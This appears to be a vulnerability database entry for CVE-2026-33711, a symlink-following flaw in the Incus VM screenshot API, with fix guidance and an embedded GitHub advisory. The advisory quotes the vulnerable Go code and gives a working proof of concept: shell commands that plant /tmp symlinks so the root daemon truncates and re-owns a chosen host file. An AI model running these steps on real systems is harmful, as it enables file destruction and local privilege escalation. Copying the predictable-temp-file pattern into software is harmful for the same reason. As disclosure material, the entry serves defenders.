CVE-2026-33711: Github.com/lxc/incus/v6 Incus Vulnerable To Local Privilege Vulnerability
MODERATECVE-2026-33711 is a MODERATE incus vulnerable to local privilege vulnerability (CWE-61: UNIX Symbolic Link (Symlink) Following) affecting Github.com/lxc/incus/v6 libraries in the Go ecosystem. The issue involves incus vulnerable to local privilege escalation through vm screenshot path. Remediation is available by upgrading affected packages to version 6.23.0.
CVE-2026-33711 at a Glance
How to Fix CVE-2026-33711
To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lxc/incus/v6 to 6.23.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lxc/incus/v6
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33711, inspect your project dependencies for Github.com/lxc/incus/v6:
inspect dependencies for github.com/lxc/incus/v6
Analyze the terminal output to locate any version of Github.com/lxc/incus/v6 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.23.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-61: UNIX Symbolic Link (Symlink) Following, where the product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. this could allow an attacker to cause the product to operate on unauthorized files. In Github.com/lxc/incus/v6, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33711 Affected Github.com/lxc/incus/v6 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lxc/incus/v6
|
Go |
< 6.23.0
|
6.23.0
|
References
Frequently Asked Questions
What is CVE-2026-33711?
Which Github.com/lxc/incus/v6 versions are affected?
What version fixes CVE-2026-33711?
Is github.com/lxc/incus/v6 affected?
What CWE is associated with CVE-2026-33711?
How can I check Go dependencies for CVE-2026-33711?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q9vp-3wcg-8p4x",
"modified" : "2026-03-27T17:09:45Z",
"published" : "2026-03-27T17:09:45Z",
"aliases" : [ "CVE-2026-33711" ],
"summary" : "Incus vulnerable to local privilege escalation through VM screenshot path",
"details" : "### Summary\nIncus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.\n\nAs Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.\n\nOn the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`.\n\nOn the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.\n\n### Details\nThe incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.\n\nAn attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.\n\nThis allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.\n\nAs previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.\nIt's possible to check on its status by reading the file at `/proc/sys/fs/protected_symlinks`, a value of 0 is required for this attack to work.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go \n\nAffected Code:\n```go\nfunc instanceConsoleGet(d *Daemon, r *http.Request) response.Response {\n [...]\n } else if inst.Type() == instancetype.VM {\n v, ok := inst.(instance.VM)\n if !ok {\n return response.SmartError(errors.New(\"Failed to cast inst to VM\"))\n }\n\n var headers map[string]string\n if consoleLogType == \"vga\" {\n screenshotFile, err := os.Create(fmt.Sprintf(\"/tmp/incus_screenshot_%d\", inst.ID()))\n if err != nil {\n return response.SmartError(fmt.Errorf(\"Couldn't create screenshot file: %w\", err))\n }\n\n err = screenshotFile.Chmod(0o600)\n if err != nil {\n return response.SmartError(err)\n }\n\n ent.Cleanup = func() {\n _ = screenshotFile.Close()\n _ = os.Remove(screenshotFile.Name())\n }\n\n err = v.ConsoleScreenshot(screenshotFile)\n if err != nil {\n return response.SmartError(err)\n }\n [...]\n }\n [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go \n\nAffected Code:\n```go\nfunc (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {\n if !d.IsRunning() {\n return errors.New(\"Instance is not running\")\n }\n\n\n // Check if the agent is running.\n monitor, err := d.qmpConnect()\n if err != nil {\n return err\n }\n\n err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)\n if err != nil {\n return fmt.Errorf(\"Failed to chown screenshot path: %w\", err)\n }\n\n\n // Take the screenshot.\n err = monitor.Screendump(screenshotFile.Name())\n if err != nil {\n return fmt.Errorf(\"Failed taking screenshot: %w\", err)\n }\n\n return nil\n}\n```\n\n### PoC\nThe following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.\n\nStep 0: Disable the kernel symlink protection mechanism\n\nCommands (as root):\n```\necho 0 > /proc/sys/fs/protected_symlinks\n```\n\nStep 1: Prepare the target VM\n\nFrom an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.\n\nCommands:\n```\nincus init images:alpine/edge lpe-vm --vm --project default\nincus config set lpe-vm security.secureboot=false --project default\nincus start lpe-vm --project default\n```\n\nStep 2: Create a root-owned trap target and pre-place /tmp symlinks\n\nOn the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.\n\nCommands:\n```\necho \"SuperSecretRootHash\" > /root/shadow_trap\nchmod 600 /root/shadow_trap\nls -l /root/shadow_trap\n\n\nfor i in $(seq 1 100); do\n ln -sf /root/shadow_trap /tmp/incus_screenshot_$i\ndone\n\nls -l /tmp/incus_screenshot_* | head\n```\n\nResult:\n```\n-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap\n```\n\nStep 3: Trigger the vulnerable screenshot path\n\nFrom an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.\n\n\nCommand:\n```\nincus query -X GET \"/1.0/instances/lpe-vm/console?project=default&type=vga\" > /dev/null\n```\n\nResult:\n```\nError: Failed taking screenshot: Failed to connect to QEMU monitor\n```\n\nStep 4: Verify host-side impact\n\nOn the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.\n\nCommand:\n```\nls -l /root/shadow_trap && stat /root/shadow_trap\n```\n\nResult:\n```\n-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap\n File: /root/shadow_trap\n Size: 0\n Access: (0600/-rw-------)\n Uid: ( 100000/ incus)\n Gid: ( 0/ root)\n```\n\nIt is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lxc/incus/v6"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.23.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33711"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/commit/ef006240ac2475ddea7b8406cecc7dbd1a883fdf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lxc/incus"
}, {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/releases/tag/v6.23.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-61" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-27T17:09:45Z",
"nvd_published_at" : "2026-03-26T23:16:20Z"
}
}